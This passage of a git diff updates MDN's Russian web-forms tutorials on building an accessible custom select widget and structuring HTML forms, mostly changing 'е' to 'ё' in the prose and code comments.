виджет взаимодействовал как с мышью, так и с клавиатурой, так же как и стандартный виджет. Давайте сначала определим, как виджет приходит в каждое состояние:</p> @@ -51,10 +51,10 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets <ul> <li>пользователь кликает на него</li> <li>пользователь нажимает клавишу Tab, и он получает фокус</li> - <li>виджет был в развернутом состоянии и пользователь кликает на виджет.</li> + <li>виджет был в развёрнутом состоянии и пользователь кликает на виджет.</li> </ul> </dd> - <dt>Виджет в развернутом состоянии:</dt> + <dt>Виджет в развёрнутом состоянии:</dt> <dd> <ul> <li>виджет в любом другом состоянии и пользователь кликает на него</li> @@ -68,7 +68,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets <dt>Значение изменяется когда:</dt> <dd> <ul> - <li>пользователь кликает на один-из-вариантов когда виджет в развернутом состоянии</li> + <li>пользователь кликает на один-из-вариантов когда виджет в развёрнутом состоянии</li> <li>пользователь нажимает клавиши стрелка вверх или вниз когда виджет в активном состоянии</li> </ul> </dd> @@ -81,11 +81,11 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets <li>когда курсор мыши находится над вариантом, он подсвечен и ранее подсвеченный вариант возвращается в его обычное состояние</li> </ul> -<p>Для нашего примера остановимся на этом; но, если вы внимательный читатель, вы заметите, что некоторые реакции отсутствуют. Например, как вы думаете, что произойдет если пользователь нажмет клавишу "tab" когда виджет в развернутом состоянии? Ответом будет... ничего. OK, правильная реакция кажется очевидной, но поскольку она не определена в наших спецификациях, то очень легко пропустить реализацию этой реакции. Это особенно верно для командной работы, когда те, кто определяет какими должны быть реакции виджета сами не реализуют их.</p> +<p>Для нашего примера остановимся на этом; но, если вы внимательный читатель, вы заметите, что некоторые реакции отсутствуют. Например, как вы думаете, что произойдёт если пользователь нажмёт клавишу "tab" когда виджет в развёрнутом состоянии? Ответом будет... ничего. OK, правильная реакция кажется очевидной, но поскольку она не определена в наших спецификациях, то очень легко пропустить реализацию этой реакции. Это особенно верно для командной работы, когда те, кто определяет какими должны быть реакции виджета сами не реализуют их.</p> -<p>Другой забавный пример: что произойдет, если пользователь нажмет клавишу вверх или вниз когда виджет находится в развернутом состоянии? Это немного сложнее. Если вы предположите, что активное и развернутое состояние полностью различны, то ответом снова будет "ничего не произойдет" , потому что мы не определили никаких взаимодействий с клавиатурой в открытом состоянии. С другой стороны, если вы предположите, что активное и развернутое состояние немного похожи, значение может изменится, но выбранный вариант точно не будет соответственно подсвечен, опять же потому, что мы не определили никаких действий с клавиатуры над вариантами когда виджет находится в развернутом состоянии (мы определили только то, что произойдет, когда виджет развернется, но ничего более).</p> +<p>Другой забавный пример: что произойдёт, если пользователь нажмёт клавишу вверх или вниз когда виджет находится в развёрнутом состоянии? Это немного сложнее. Если вы предположите, что активное и развёрнутое состояние полностью различны, то ответом снова будет "ничего не произойдёт" , потому что мы не определили никаких взаимодействий с клавиатурой в открытом состоянии. С другой стороны, если вы предположите, что активное и развёрнутое состояние немного похожи, значение может изменится, но выбранный вариант точно не будет соответственно подсвечен, опять же потому, что мы не определили никаких действий с клавиатуры над вариантами когда виджет находится в развёрнутом состоянии (мы определили только то, что произойдёт, когда виджет развернётся, но ничего более).</p> -<p>В нашем примере пропущенные спецификации очевидны, так что мы с ними справимся, но это может стать реальной проблемой для новых экзотических виджетов, когда никто не имеет ни малейшего представления о том как они должны реагировать. Всегда лучше потратить время на этом этапе дизайна, потому что если вы плохо определите, или забудете определить реакцию виджета, то будет очень сложно изменять ее, когда пользователи уже привыкнут. Если у вас есть сомнения - спросите мнения у окружающих, и, если позволяет бюджет, не стесняйтесь <a href="https://ru.wikipedia.org/wiki/%D0%AE%D0%B7%D0%B0%D0%B1%D0%B8%D0%BB%D0%B8%D1%82%D0%B8-%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5">выполнять пользовательские тесты</a>. Этот процесс называется UX Design (<a href="https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D0%B7%D0%B0%D0%B9%D0%BD_%D0%B2%D0%B7%D0%B0%D0%B8%D0%BC%D0%BE%D0%B4%D0%B5%D0%B9%D1%81%D1%82%D0%B2%D0%B8%D1%8F_%D1%81_%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D0%B5%D0%BC">Дизайн взаимодействия с пользователем</a>). Если вы хотите узнать больше об этой теме, вам следует посетить следующие полезные ресурсы:</p> +<p>В нашем примере пропущенные спецификации очевидны, так что мы с ними справимся, но это может стать реальной проблемой для новых экзотических виджетов, когда никто не имеет ни малейшего представления о том как они должны реагировать. Всегда лучше потратить время на этом этапе дизайна, потому что если вы плохо определите, или забудете определить реакцию виджета, то будет очень сложно изменять её, когда пользователи уже привыкнут. Если у вас есть сомнения - спросите мнения у окружающих, и, если позволяет бюджет, не стесняйтесь <a href="https://ru.wikipedia.org/wiki/%D0%AE%D0%B7%D0%B0%D0%B1%D0%B8%D0%BB%D0%B8%D1%82%D0%B8-%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5">выполнять пользовательские тесты</a>. Этот процесс называется UX Design (<a href="https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D0%B7%D0%B0%D0%B9%D0%BD_%D0%B2%D0%B7%D0%B0%D0%B8%D0%BC%D0%BE%D0%B4%D0%B5%D0%B9%D1%81%D1%82%D0%B2%D0%B8%D1%8F_%D1%81_%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D0%B5%D0%BC">Дизайн взаимодействия с пользователем</a>). Если вы хотите узнать больше об этой теме, вам следует посетить следующие полезные ресурсы:</p> <ul> <li><a href="http://www.uxmatters.com/" rel="external" title="http://www.uxmatters.com/">UXMatters.com</a></li> @@ -99,7 +99,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets <h3 id="Определение_структуры_и_семантики_HTML">Определение структуры и семантики HTML</h3> -<p>Теперь, когда основной функционал виджета определен, пора начать создание виджета. Первым делом определим его HTML структуру и придадим основную семантику. Вот все что нам нужно чтобы переделать элемент {{HTMLElement("select")}}:</p> +<p>Теперь, когда основной функционал виджета определён, пора начать создание виджета. Первым делом определим его HTML структуру и придадим основную семантику. Вот все что нам нужно чтобы переделать элемент {{HTMLElement("select")}}:</p> <pre class="brush: html"><!-- Это основной контейнер для нашего виджета. Атрибут tabindex позволяет пользователю переместить фокус на виджет. @@ -123,7 +123,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets </div></pre> -<p>Обратите внимание на использование имен классов: они описывают каждый соответствующий элемент независимо от фактически используемых базовых элементов HTML. Важно быть уверенными что нам не придется жестко привязывать наши CSS и JavaScript к HTML структуре,тогда мы сможем позже вносить изменения не нарушая код виджета. Например, если вы захотите создать эквивалент элемента {{HTMLElement("optgroup")}}.</p> +<p>Обратите внимание на использование имён классов: они описывают каждый соответствующий элемент независимо от фактически используемых базовых элементов HTML. Важно быть уверенными что нам не придётся жёстко привязывать наши CSS и JavaScript к HTML структуре,тогда мы сможем позже вносить изменения не нарушая код виджета. Например, если вы захотите создать эквивалент элемента {{HTMLElement("optgroup")}}.</p> <h3 id="Создание_внешнего_вида_с_помощью_CSS">Создание внешнего вида с помощью CSS</h3> @@ -131,7 +131,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets <h4 id="Обязательные_стили">Обязательные стили</h4> -<p>Обязательные стили - это те, которые необходимы для обработки трех состояний нашего виджета..</p> +<p>Обязательные стили - это те, которые необходимы для обработки трёх состояний нашего виджета..</p> <pre class="brush: css">.select { /* Это создаст контекст позиционирования для списка вариантов */ @@ -142,7 +142,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets display : inline-block; }</pre> -<p>Еще нам нужен дополнительный класс <code>active,</code> чтобы определить, как будет выглядеть наш виджет в активном состоянии. Так как наш виджет может находится в фокусе, то мы укажем этот стиль еще и для псевдокласса {{cssxref(":focus")}} чтобы быть уверенными, что виджет будет вести себя одинаково.</p> +<p>Ещё нам нужен дополнительный класс <code>active,</code> чтобы определить, как будет выглядеть наш виджет в активном состоянии. Так как наш виджет может находится в фокусе, то мы укажем этот стиль ещё и для псевдокласса {{cssxref(":focus")}} чтобы быть уверенными, что виджет будет вести себя одинаково.</p> <pre class="brush: css">.select .active, .select:focus { @@ -155,7 +155,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets <p>Теперь давайте стилизуем список опций:</p> -<pre class="brush: css">/* Селектор .select здесь применен для удобства (<a href="https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D1%81%D0%B0%D1%85%D0%B0%D1%80">синтаксический сахар</a>), чтобы быть уверенными, +<pre class="brush: css">/* Селектор .select здесь применён для удобства (<a href="https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D1%81%D0%B0%D1%85%D0%B0%D1%80">синтаксический сахар</a>), чтобы быть уверенными, что определяемые классы находятся в нашем виджете. */ .select .optList { /* Это позволит нам быть уверенными, что список вариантов будет показан ниже значения @@ -165,11 +165,11 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets left : 0; }</pre> -<p>Еще нам нужен дополнительный класс, для обращения к списку вариантов, когда он скрыт. Это необходимо чтобы справиться с различиями активного и развернутого состояния, т.к. они не совсем совпадают.</p> +<p>Ещё нам нужен дополнительный класс, для обращения к списку вариантов, когда он скрыт. Это необходимо чтобы справиться с различиями активного и развёрнутого состояния, т.к. они не совсем совпадают.</p> <pre class="brush: css">.select .optList.hidden { /* Это самый простой из доступных способов путь скрыть список, - а о доступности мы еще поговорим в конце */ + а о доступности мы ещё поговорим в конце */ max-height: 0; visibility: hidden; }</pre> @@ -181,7 +181,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets <pre class="brush: css">.select { /* Все размеры будут выражены в em по соображениям удобства (чтобы быть уверенными, что виджет будет изменять размер если пользователь будет - использовать увеличение в текстовом режиме браузера). Вычисления сделаны из расчета что + использовать увеличение в текстовом режиме браузера). Вычисления сделаны из расчёта что 1em == 16px что является умолчанием для большинства браузеров. Если вы затрудняетесь с преобразованием px в em, попробуйте http://riddle.pl/emcalc/ */ font-size : 0.625em; /* это (10px) новый размер шрифта для нашего контекста для значения @@ -200,7 +200,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets box-shadow : 0 .1em .2em rgba(0,0,0,.45); /* 0 1px 2px */ /* Первое объявление - для браузеров не поддерживающих линейный градиент. - Второе объявление - потому что основанные на WebKit браузеры еще не избавились от префикса в нем. + Второе объявление - потому что основанные на WebKit браузеры ещё не избавились от префикса в нем. Если вам нужна поддержка устаревших браузеров, попробуйте http://www.colorzilla.com/gradient-editor/ */ background : #F0F0F0; background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); @@ -263,8 +263,8 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets min-width : 100%; /* В случае, если список слишком длинный, его содержимое не будет помещаться по вертикали - (что автоматически добавит полосу прокрутки), но этого никогда не произойдет по горизонтали - (потому что мы не установили ширину и содержимое списка будет регулировать ее + (что автоматически добавит полосу прокрутки), но этого никогда не произойдёт по горизонтали + (потому что мы не установили ширину и содержимое списка будет регулировать её автоматически. Если это будет невозможно - содержимое будет обрезано.) */ max-height: 10em; /* 100px */ overflow-y: auto; @@ -296,7 +296,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets <tr> <th scope="col" style="text-align: center;">Основное состояние</th> <th scope="col" style="text-align: center;">Активное состояние</th> - <th scope="col" style="text-align: center;">Развернутое состояние</th> + <th scope="col" style="text-align: center;">Развёрнутое состояние</th> </tr> </thead> <tbody> @@ -325,18 +325,18 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets <h3 id="Почему_он_не_работает">Почему он не работает?</h3> -<p>Прежде чем мы начнем, запомните одну важную вещь о JavaScript: в браузере <strong>это ненадежная технология</strong>. Когда вы создаете пользовательские виджеты, вы будете полагаться на JavaScript потому что это необходимое звено для связки. Однако во многих случаях JavaScript невозможно запустить в браузере:</p> +<p>Прежде чем мы начнём, запомните одну важную вещь о JavaScript: в браузере <strong>это ненадёжная технология</strong>. Когда вы создаёте пользовательские виджеты, вы будете полагаться на JavaScript потому что это необходимое звено для связки. Однако во многих случаях JavaScript невозможно запустить в браузере:</p> <ul> <li>Пользователь отключил JavaScript: Это самый редкий случай; сейчас очень мало людей отключают JavaScript.</li> - <li>Скрипт не загружается. Это один из самых распространенных случаев, особенно в мобильном мире, где сеть не очень надежная.</li> + <li>Скрипт не загружается. Это один из самых распространённых случаев, особенно в мобильном мире, где сеть не очень надежная.</li> <li>Скрипт глючит.Вы должны всегда учитывать эту возможность.</li> <li>Скрипт конфликтует со сторонним скриптом. Это может случиться со скриптами отслеживания или любыми букмарклетами (bookmarklets), которые использует пользователь.</li> <li>Скрипт конфликтует с расширением браузера или зависит от него (такими как расширение <a href="https://addons.mozilla.org/fr/firefox/addon/noscript/" rel="external" title="https://addons.mozilla.org/fr/firefox/addon/noscript/">NoScript</a> в Firefox, или расширение <a href="https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn" rel="external" title="https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn">NotScripts</a> в Chrome).</li> <li>Пользователь использует устаревший браузер, и одна из требуемых функций не поддерживается. Это часто случается, когда вы используете передовые API.</li> </ul> -<p>Из-за этого очень важно серьезно подумать о том, что произойдет, если JavaScript не сработает. Детальное рассмотрение этой проблемы выходит за рамки данной статьи, поскольку эта проблема тесно связана с тем, насколько универсальным и многократно используемым вы хотите сделать свой сценарий, но мы рассмотрим основы этого в нашем примере.</p> +<p>Из-за этого очень важно серьёзно подумать о том, что произойдёт, если JavaScript не сработает. Детальное рассмотрение этой проблемы выходит за рамки данной статьи, поскольку эта проблема тесно связана с тем, насколько универсальным и многократно используемым вы хотите сделать свой сценарий, но мы рассмотрим основы этого в нашем примере.</p> <p>В нашем примере, если наш JavaScript код не работает, мы используем стандартный элемент {{HTMLElement("select")}}. Для этого, нам нужны две вещи.</p> @@ -372,7 +372,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets .no-widget .select { /* Этот CSS селектор значит: - или мы присваиваем классу body значение "widget" и таким образом мы скрываем элемент {{HTMLElement("select")}} - - или мы не меняем класс body, тогда класс body остается в значении "no-widget", + - или мы не меняем класс body, тогда класс body остаётся в значении "no-widget", и элементы, чей класс "select" будут скрыты */ position : absolute; left : -5000em; @@ -411,7 +411,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets <h3 id="Облегчение_работы">Облегчение работы</h3> -<p>В коде который мы собираемся написать, для выполнения всех необходимых действий мы будем использовать стандартный DOM API. Однако, хотя поддержка DOM API в браузерах стала гораздо лучше, все еще есть нюансы с устраевшеними браузерами (особенно со старым добрым Internet Explorer).</p> +<p>В коде который мы собираемся написать, для выполнения всех необходимых действий мы будем использовать стандартный DOM API. Однако, хотя поддержка DOM API в браузерах стала гораздо лучше, все ещё есть нюансы с устраевшеними браузерами (особенно со старым добрым Internet Explorer).</p> <p>Чтобы избежать неприятностей с устаревшими браузерами есть два способа: использовать отдельный фреймворк такой как <a href="http://jquery.com/" rel="external" title="http://jquery.com/">jQuery</a>, <a href="https://github.com/julienw/dollardom" rel="external" title="https://github.com/julienw/dollardom">$dom</a>, <a href="http://prototypejs.org/" rel="external" title="http://prototypejs.org/">prototype</a>, <a href="http://dojotoolkit.org/" rel="external" title="http://dojotoolkit.org/">Dojo</a>, <a href="http://yuilibrary.com/" rel="external" title="http://yuilibrary.com/">YUI</a>, и т.п., или самостоятельно реализовать недостающие функции которые вам нужны (что можно легко сделать через условную загрузку, например используя библиотеку <a href="http://yepnopejs.com/" rel="external" title="http://yepnopejs.com/">yepnope</a>).</p> @@ -424,7 +424,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets <li>{{domxref("element.querySelector","querySelector")}} and {{domxref("element.querySelectorAll","querySelectorAll")}}</li> </ol> -<p>Помимо доступности этих специфических функций, остается еще одна проблема чтобы начать. Объект возвращаемый функцией {{domxref("element.querySelectorAll","querySelectorAll()")}} имеет тип {{domxref("NodeList")}} что отличается от <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code>. Это важно потому, что объекты <code>Array</code> поддерживают функцию <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach">forEach</a></code>, а {{domxref("NodeList")}} не поддерживает. Так как {{domxref("NodeList")}} очень похож на <code>Array</code> и нам очень удобно использовать <code>forEach</code>, мы можем просто добавить <code>forEach</code> к объекту {{domxref("NodeList")}} чтобы облегчить нам жизнь, например так:</p> +<p>Помимо доступности этих специфических функций, остаётся ещё одна проблема чтобы начать. Объект возвращаемый функцией {{domxref("element.querySelectorAll","querySelectorAll()")}} имеет тип {{domxref("NodeList")}} что отличается от <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code>. Это важно потому, что объекты <code>Array</code> поддерживают функцию <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach">forEach</a></code>, а {{domxref("NodeList")}} не поддерживает. Так как {{domxref("NodeList")}} очень похож на <code>Array</code> и нам очень удобно использовать <code>forEach</code>, мы можем просто добавить <code>forEach</code> к объекту {{domxref("NodeList")}} чтобы облегчить нам жизнь, например так:</p> <pre class="brush: js">NodeList.prototype.forEach = function (callback) { Array.prototype.forEach.call(this, callback); @@ -437,7 +437,7 @@ original_slug: Learn/HTML/Forms/How_to_build_custom_form_widgets <p>Итак, начало положено, и мы можем приступить к функциям, которые будут использоваться для взаимодействия с пользователем.</p> <pre class="brush: js">// Эта функция будет вызываться каждый раз, когда наш виджет будет деактивирован -// Ей передается один параметр +// Ей передаётся один параметр // select : DOM нода класса `select` который должен быть деактивирован function deactivateSelect(select) { @@ -465,7 +465,7 @@ function activeSelect(select, selectList) { // Нам нужно отключить активное состояние всех наших виджетов // Так как функция deactivateSelect соответствует всем требованиям - // функции forEach мы вызываем ее без использования промежуточной анонимной функции + // функции forEach мы вызываем её без использования промежуточной анонимной функции selectList.forEach(deactivateSelect); // А теперь мы возвращаем активное состояние нужного виджета @@ -473,7 +473,7 @@ function activeSelect(select, selectList) { } // Эта функция будет вызываться каждый раз, когда пользователь будет открывать/закрывать список вариантов -// Ей передается один параметр: +// Ей передаётся один параметр: // select : DOM нода со списком для переключения состояния function toggleOptList(select) { @@ -556,7 +556,7 @@ window.addEventListener('load', function () { }); });</pre> -<p>В этот момент наш виджет будет изменять состояние в соответствии с нашим дизайном, но не будет обновлять его значение. С этим мы разберемся дальше.</p> +<p>В этот момент наш виджет будет изменять состояние в соответствии с нашим дизайном, но не будет обновлять его значение. С этим мы разберёмся дальше.</p> <table> <thead> @@ -582,8 +582,8 @@ window.addEventListener('load', function () { <p>Как было показано ранее, у нас есть стандартный виджет {{HTMLElement("select")}} в качестве запасного варианта для повышения доступности; поэтому мы просто синхронизируем его значение с нашим собственным виджетом:</p> -<pre class="brush: js">// Эта функция обновляет отображенное значение и синхронизирует его со стандартным виджетом -// Ей передается два параметра: +<pre class="brush: js">// Эта функция обновляет отображённое значение и синхронизирует его со стандартным виджетом +// Ей передаётся два параметра: // select : DOM нода класса `select` содержащая значение которое будет обновлено // index : индекс выбранного значения function updateValue(select, index) { @@ -608,7 +608,7 @@ function updateValue(select, index) { }; // Эта функция возвращает текущий номер выбранного элемента в стандартном виджете -// Ей передается один параметр: +// Ей передаётся один параметр: // select : DOM нода класса `select` соответствующая стандартному виджету function getIndex(select) { // Нам нужно получить доступ к стандартному виджету соответствующему данному @@ -663,7 +663,7 @@ window.addEventListener('load', function () { }); });</pre> -<p>В приведенном выше коде стоить отметить свойство <code><a href="/en-US/docs/Web/API/HTMLElement/tabIndex" title="/en-US/docs/Web/API/HTMLElement/tabIndex">tabIndex</a></code>. Использование этого свойства необходимо чтобы стандартный виджет никогда не получил фокус, и чтобы убедиться, что наш пользовательский виджет получает фокус когда пользователь использует клавиатуру или мышь.</p> +<p>В приведённом выше коде стоить отметить свойство <code><a href="/en-US/docs/Web/API/HTMLElement/tabIndex" title="/en-US/docs/Web/API/HTMLElement/tabIndex">tabIndex</a></code>. Использование этого свойства необходимо чтобы стандартный виджет никогда не получил фокус, и чтобы убедиться, что наш пользовательский виджет получает фокус когда пользователь использует клавиатуру или мышь.</p> <p>С этим мы закончили! Вот результат:</p> @@ -689,7 +689,7 @@ window.addEventListener('load', function () { <p>Мы создали нечто работающее, и, хотя это далеко от полнофункционального выпадающего списка, работает это хорошо. Однако то, что мы сделали, это не более, чем возня с DOM. У него нет настоящей семантики, и хотя оно выглядит как раскрывающейся список, с точки зрения браузера - это не так, поэтому вспомогательные технологии не смогут понять что это он и есть. Короче говоря, этот хорошенький список для выбора фруктов не является доступным для людей с ограниченными возможностями!</p> -<p>К счастью существует решение, и оно называется <a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a>. ARIA - аббревиатура для "Accessible Rich Internet Application" (Доступное всем интернет приложение), и представляет собой <a href="http://www.w3.org/TR/wai-aria/" rel="external" title="http://www.w3.org/TR/wai-aria/">W3C спецификацию</a> специально разработанную для того, что мы здесь делаем: делаем веб приложения и пользовательские виджеты ассистивными (доступными для людей с ограниченными возможностями). В основном, это набор атрибутов, которые расширяют HTML, чтобы мы смогли лучше описать роли, состояния и свойства, так что только что изобретенный элемент выглядит как будто он был тем стандартным, за которого он себя выдает. Использовать эти атрибуты очень просто, поэтому давайте сделаем это.</p> +<p>К счастью существует решение, и оно называется <a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a>. ARIA - аббревиатура для "Accessible Rich Internet Application" (Доступное всем интернет приложение), и представляет собой <a href="http://www.w3.org/TR/wai-aria/" rel="external" title="http://www.w3.org/TR/wai-aria/">W3C спецификацию</a> специально разработанную для того, что мы здесь делаем: делаем веб приложения и пользовательские виджеты ассистивными (доступными для людей с ограниченными возможностями). В основном, это набор атрибутов, которые расширяют HTML, чтобы мы смогли лучше описать роли, состояния и свойства, так что только что изобретённый элемент выглядит как будто он был тем стандартным, за которого он себя выдаёт. Использовать эти атрибуты очень просто, поэтому давайте сделаем это.</p> <h3 id="Атрибут_role">Атрибут <code>role</code></h3> diff --git a/files/ru/learn/forms/how_to_structure_a_web_form/index.html b/files/ru/learn/forms/how_to_structure_a_web_form/index.html index 501767be92..378a004392 100644 --- a/files/ru/learn/forms/how_to_structure_a_web_form/index.html +++ b/files/ru/learn/forms/how_to_structure_a_web_form/index.html @@ -86,9 +86,9 @@ original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form <pre class="brush: html notranslate"><label for="name">Name:</label> <input type="text" id="name" name="user_name"></pre> -<p>При правильно связанном элементе <code><label></code> с элементом <code><input></code> через атрибуты <code>for</code> и <code>id</code> соответственно (атрибут <code>for</code> ссылается на атрибут <code>id</code> соответствующего виджета формы), скринридер прочтет вслух что-то наподобие "Name, edit text".</p> +<p>При правильно связанном элементе <code><label></code> с элементом <code><input></code> через атрибуты <code>for</code> и <code>id</code> соответственно (атрибут <code>for</code> ссылается на атрибут <code>id</code> соответствующего виджета формы), скринридер прочтёт вслух что-то наподобие "Name, edit text".</p> -<p>Если <code><label></code> не правильно установлен, скринридер прочитает это как "Edit text blank", что не несет в себе никакой уточняющей информации, позволяющей понять предназначение данного текстового поля.</p> +<p>Если <code><label></code> не правильно установлен, скринридер прочитает это как "Edit text blank", что не несёт в себе никакой уточняющей информации, позволяющей понять предназначение данного текстового поля.</p> <p>Обратите внимание на то, что виджет формы может быть вложен в элемент {{HTMLElement("label")}}, как на примере:</p> @@ -100,7 +100,7 @@ original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form <h3 id="Лейблы_тоже_кликабельны!">Лейблы тоже кликабельны!</h3> -<p>Ещё одно преимущество при правильно установленных текстах-подсказках заключается в том, что по ним можно кликнуть для активации связанных с ними виджетов. Это поддерживается во всех браузерах. Это удобно как для текстовых полей ввода, в которых устанавливается фокус при клике на текст-подсказку, так и для радио-кнопок и чекбоксов — область попадания такого элемента управления может быть очень маленькой, поэтому полезно сделать ее как можно больше.</p> +<p>Ещё одно преимущество при правильно установленных текстах-подсказках заключается в том, что по ним можно кликнуть для активации связанных с ними виджетов. Это поддерживается во всех браузерах. Это удобно как для текстовых полей ввода, в которых устанавливается фокус при клике на текст-подсказку, так и для радио-кнопок и чекбоксов — область попадания такого элемента управления может быть очень маленькой, поэтому полезно сделать её как можно больше.</p> <p>Например:</p> @@ -151,7 +151,7 @@ original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form <p>{{EmbedLiveSample("Multiple_labels", 120, 120)}}</p> -<p>Параграф на первой строке примера описывает правило для обязательных элементов. Вначале необходимо убедиться, что вспомогательные технологии, такие как программы чтения с экрана, отображают или озвучивают их пользователю, прежде чем он найдет требуемый элемент. Таким образом они будут знать, что означает звёздочка. Программа чтения с экрана будет произносить звёздочку как «звёздочку» или «обязательно», в зависимости от настроек программы чтения с экрана — в любом случае, первый абзац даёт понимание того, что будет означать звёздочка далее в форме.</p> +<p>Параграф на первой строке примера описывает правило для обязательных элементов. Вначале необходимо убедиться, что вспомогательные технологии, такие как программы чтения с экрана, отображают или озвучивают их пользователю, прежде чем он найдёт требуемый элемент. Таким образом они будут знать, что означает звёздочка. Программа чтения с экрана будет произносить звёздочку как «звёздочку» или «обязательно», в зависимости от настроек программы чтения с экрана — в любом случае, первый абзац даёт понимание того, что будет означать звёздочка далее в форме.</p> <ul> <li>В первом примере лейбл не будет прочитан вместе с текстовым полем — получится лишь "edit text blank" и отдельно читаемые тексты-подсказки. Множественные элементы <code><label></code> могут быть неправильно интерпретированы программой чтения с экрана.</li> @@ -160,7 +160,7 @@ original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form </ul> <div class="note"> -<p><strong>Примечание</strong>: В зависимости от программы для чтения с экрана результаты могут немного отличаться. В данной статье для тестирования использовался VoiceOver (NVDA ведет себя аналогично). Также мы были бы рады, если бы вы поделились своим опытом.</p> +<p><strong>Примечание</strong>: В зависимости от программы для чтения с экрана результаты могут немного отличаться. В данной статье для тестирования использовался VoiceOver (NVDA ведёт себя аналогично). Также мы были бы рады, если бы вы поделились своим опытом.</p> </div> <div class="note"> @@ -181,7 +181,7 @@ original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form <h3 id="Активное_обучение_построение_структуры_формы">Активное обучение: построение структуры формы</h3> -<p>Давайте применим эти идеи на практике и построим более сложноструктурируемую форму — формы оплаты. Форма будет содержать некоторые типы виджетов формы, которые вы можете пока не понять — не переживайте об этом, вы найдёте информацию в следующей статье (<a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">Основные нативные элементы управления формами</a>). А пока внимательно прочитайте описание, следуя приведенным ниже инструкциям, и начинайте формировать представление о том, какие элементы обёртки мы используем для структурирования формы и почему.</p> +<p>Давайте применим эти идеи на практике и построим более сложноструктурируемую форму — формы оплаты. Форма будет содержать некоторые типы виджетов формы, которые вы можете пока не понять — не переживайте об этом, вы найдёте информацию в следующей статье (<a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">Основные нативные элементы управления формами</a>). А пока внимательно прочитайте описание, следуя приведённым ниже инструкциям, и начинайте формировать представление о том, какие элементы обёртки мы используем для структурирования формы и почему.</p> <ol> <li>Для начала сделайте локальную копию <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">пустого шаблона</a> и <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/payment-form.css">CSS для нашей платёжной формы</a> в новой директории на вашем компьютере.</li> diff --git a/files/ru/learn/forms/index.html b/files/ru/learn/forms/index.html index 3addc9a37b..a00c6f97d3 100644 --- a/files/ru/learn/forms/index.html +++ b/files/ru/learn/forms/index.html @@ -28,7 +28,7 @@ original_slug: Learn/HTML/Forms <dl> <dt><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/Forms/Ваша_первая_HTML_форма">Ваша первая HTML-форма</a></dt> - <dd>Первая статья в серии дает вам начальный опыт в создании HTML-форм, включая разработку простой формы, её реализация при помощи элементов HTML, стилизация при помощи CSS и то, как данные отправляются на сервер.</dd> + <dd>Первая статья в серии даёт вам начальный опыт в создании HTML-форм, включая разработку простой формы, её реализация при помощи элементов HTML, стилизация при помощи CSS и то, как данные отправляются на сервер.</dd> <dt><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">Как структурировать HTML-форму</a></dt> <dd>Изучив основы, рассмотрим более подробно элементы, используемые для структурирования и придания смысла различным частям HTML-форм.</dd> </dl> @@ -46,7 +46,7 @@ original_slug: Learn/HTML/Forms <dt><a 